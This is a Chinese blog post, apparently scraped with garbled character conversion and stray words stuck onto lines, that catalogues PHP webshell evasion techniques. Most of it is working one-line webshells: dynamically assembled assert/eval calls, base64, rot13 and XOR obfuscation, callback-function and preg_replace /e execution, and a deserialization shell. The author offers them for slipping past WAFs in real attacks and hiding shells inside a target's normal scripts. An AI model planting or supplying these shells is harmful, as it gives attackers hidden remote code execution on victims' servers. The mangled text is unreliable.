前言:
本文几乎涵盖了市面上全部已知的webshell免杀手段,本身也很清楚,有些东西一旦公布出去,基本就活不过久了,但好在技巧是死的,人是活的,基于前人的优秀经验基础上所衍生出来的更加刁钻诡异的思路才是最珍贵的,始终坚信,对抗是持续的,shell也是永远杀不完的…
0x01 首先就是基于各种最常规的命令和代码执行函数的花样变形如,拆分重组,动态执行,以此来躲避静态特征检测
,不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行系统命令[如,php7],万一再开了安全模式,就更费劲了php
php中一些常见的执行类型函数:java
1
2
3
4
5
6
7
|
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...
|
1
|
<?php $_POST[
'fun']($_REQUEST['req']);?>
|
1
|
<?php $req =
"a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
|
1
|
<?php $cmd =
`$_POST[ch]`;echo "<pre>$cmd</pre>";?>
|
1
|
<?php $arr = array(
"a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
|
1
2
3
4
5
6
|
<?php
$XKs1u=
'as';$Rqoaou='e';
$ygDOEJ=$XKs1u.
's'.$Rqoaou.'r'.'t';
$joEDdb =
'b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
|
0x02 利用各种编码来消除静态特征,以此来扰乱waf识别流量,说实话这种仍是相对比较容易被检测到git
利用base64编码,这种编码多是各种webshell中用的最频繁的一种,如,weevely中默认就是用的base64,因此免杀性相对较好,另外还有诸如各种免杀大马,过waf菜刀等等……github
1
|
<?php $a = @base64_decode($a=$_POST[
'fun']);$a($_POST['code']);?>
|
利用rot13编码,也用的比较频繁,关于各种编码的内部工做细节,请仔细阅读开发手册web
1
|
<?php $a=str_rot13(
'nffreg');$a($_POST['req']);?>
|
1
|
<?php ($req = $_POST[
'req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>
|
利用url编码以及自定义加解密实现的免杀,其实也有点儿相似编码,由于是本身设置的加密,因此只有通讯的双方知道,这样一来waf就很难在未解密数据中识别出webshell特征,不过人眼仍是很容易就看出来的shell
1
|
不实用
|
利用ASCII码转换,消除特征,如chr…比较简单,也比较原始,这里就很少说了,实战也不推荐用,肉眼扫一下就看出来了数组
1
|
不实用
|
利用 xor [^ 异或] ~[取反] 注入此类的位运算,实战中依然不推荐,只要是个正常人基本都能看出来这是啥,实际中记得先把下面的url编码解码过来,务必注意两个特殊字符要用双引号包起来,hackbar上面框中的参数能够不用,只要POST里的参数传对了就行安全
1
2
3
4
5
|
<?php
$_=(
'%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__=
'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$_
_;
$_($___[
_]); // assert($_POST[_]);
|
数组特性,这个就更不推荐了,看似花哨,但正常的项目代码中是根本不可能出现这些东西的,很明显,这无疑是在故意告诉别人,你来了,那,这就是个人webshell,请删除,若是单单只是想免杀,回调和反序列也许会更好,相对比价隐蔽,彻底不用这么招摇过市的搞bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
$_=[];
$_=@
"$_"; // $_='Array';
$_=$_[
'!'=='@']; // $_=$_[0];
$___=$_;
// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
// S
$___.=$__;
// S
$__=$_;
$__++;$__++;$__++;$__++;
// E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$___.=$__;
$____=
'_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$____.=$__;
$_=$$___
_;
$___($_[req]);
// ASSERT($_POST[_]);
|
0x03 利用一些特殊的web服务器及脚本自身配置来bypass waf服务器
1
2
3
|
利用短格式来实现免杀,前提须要目标的php配置已经事先开启短格式支持[php.ini有对应的开关],不过通常默认都是没开的,确实比较鸡肋,不实用
short_open_tag = On
<?=
`$_GET[m]`;
|
0x04 利用各类脚本语言自身的语言特性灵活隐匿webshell,我的很是推荐的方式,扩展空间也很是的大,较适合用于实战:
1
2
3
|
具备回调特性的函数其实还有很是多,这里只是简单地列出了一部分,可挖掘的潜力还比较大,你们可对着手册自行深刻研究
利用回调的好处除了免杀以外,还有就是,能够很方便咱们
`直接把本身的shell插到目标的正常脚本代码中`,让其变得更加难以追踪
关于webshell隐藏的更多内容,这里就不细说了,有兴趣你们能够直接去参考博客
`webshell隐藏`相关文章,记得好久以前就总结了一篇
|
1
|
<?php $a = create_function(
'', @$_REQUEST['req']);$a();?>
|
1
|
<?php $ah = $_POST[
'ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
|
1
|
<?php $fun = $_REQUEST[
'fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
|
1
|
<?php $arr = new ArrayObject(array(
'xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>
|
1
2
3
4
5
6
|
<?php
$fun = base64_decode($_REQUEST[
'fun']);
$arr = array(base64_decode($_POST[
'code']));
$arr2 = array(
1);
array_udiff($arr,$arr2,$fun);
|
1
|
<?php mb_ereg_replace(
'.*', $_REQUEST['req'], '', 'e');?>
|
1
|
<?php $fun = $_REQUEST[
'fun'];register_shutdown_function($fun,$_REQUEST['req']);?>
|
1
|
<?php echo preg_filter(
'|.*|e',$_REQUEST['req'],'')?>
|
利用序列化与反序列化免杀,简单来说原理相似反序列化漏洞,由于成员变量可控,在析构的时形成的代码执行:
1
2
3
4
5
6
7
8
9
10
|
<?php
class shell{
public $code=
"tmpdata";
function __destruct()
{
assert($this->code);
}
}
$ser = $_GET[
'serdata'];
unserialize($ser);
|
序列化后的数据
1
2
3
4
5
6
7
|
<?php
class shell{
public $code=
"phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;
|
编码配合动态函数:
1
2
3
4
5
6
|
<?php
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array(
"a"=>$fun);
$a =
"${ $arr['a']($code)}";
|
利用包含特性,也是一种相对比较原始的waf bypass方式:
1
|
<?php
include './include_shell.txt'?>
|
利用session机制免杀:
1
2
3
4
|
<?php
session_start();$_SESSION[
'cmd'] = trim($_POST['code']);
echo preg_replace(
'\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
|
利用php反射特性免杀
1
|
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));?>
|
0x05 后话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
上面的给出的这些
shell,正常来说,应该都不会活好久,可能有些早已经死了,不得不说的是,像各类编码函数它自己就是敏感特征
由于本身目前还在外地,完整环境也不在身边,就没有一一给你们进行实际的免杀测试了,不过这也并非目的
此次主要还想跟你们好好梳理一些能够用来免杀的优良特性,你们能够再单独针对这些特性去作深刻研究,达到灵活变通才是最终目的
实战中,假设某一个特性不行,不妨同时几个特性配合着一块儿来,每每会有不错的效果
说实话,若是不针对这些带有特殊特性的函数下手,只是简单的见招拆招,基于此思路衍生出来的
shell,现阶段的waf是很难作到主动识别的
固然,等量子或光子计算机及机器学习真正普及的时候,`识别`应该就不是问题了,因此,你们暂可没必要担忧这些
shell被杀,核心仍是灵活掌握这些最基本的免杀特性
没事儿的话,仍是很是建议你们多去翻翻php的开发手册,里面还有不少没被发觉出来的宝贝,也期待能和你们一块儿多交流
若是真的是深入理会了,像什么过waf菜刀天然就很容易理解了,其实如今看来仍是蛮简单的
本身拿wireshark跑跑POST包就能看到的很清楚了,而后再针对杀的点逆向一下便可
其实,随着php快速的升级迭代,有些特性可能并不能适用于全部php版本,这也再正常不过
之前的虽然是没有了确定还会有更好的替代品,仍是那句话,思路比任何东西都要重要
可能你们也发现了,此次基本所有都是在说php,并无涉及到asp,jsp,aspx,java不过其中有些脚本特性都是相通的,你们举一反三就行了
实际使用中建议不要用的过于花哨,没错,也许你确实是躲避了waf,但却没能逃过运维大叔们的法眼,因此,越不显眼,代码越正常,长度越短越好
固然啦,方法确定不止这么点儿,也期待能和你们一块儿多交流
始终坚信,授人以鱼不如授人以渔,^_^ 未完,待续……
|